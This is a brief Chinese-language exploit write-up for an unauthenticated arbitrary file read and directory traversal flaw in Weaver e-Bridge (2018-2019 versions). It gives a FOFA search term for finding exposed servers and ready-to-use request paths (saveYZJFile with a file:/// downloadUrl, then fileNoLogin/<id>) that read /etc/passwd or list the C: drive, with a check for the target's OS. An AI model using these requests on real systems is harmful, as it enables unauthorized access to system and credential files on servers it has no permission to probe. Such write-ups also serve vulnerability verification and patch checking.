01 影響版本
2018-2019 多個版本。
02 fofa語法
泛微雲橋
03 漏洞復現
如果使用POC回顯"無法驗證您的身份！"證明改漏洞已被修復
POC中，當downloadUrl的路徑為文件夾的時候結果為目錄遍歷 linux windows 通用
Windows POC：
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt #查看頁面中的id值
/file/fileNoLogin/<id> #訪問文件接口，根據上一步獲取的id對文件內容進行讀取
如果提示msg "/C: (No such file or directory)" 就表示為Linux系統（表示不存在C盤）
Linux POC：
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
/file/fileNoLogin/<id> #訪問文件接口，根據上一步獲取的id對文件內容進行讀取
04 實例
Linux系統主目錄（根目錄）
Linux中/ect/passwd文件
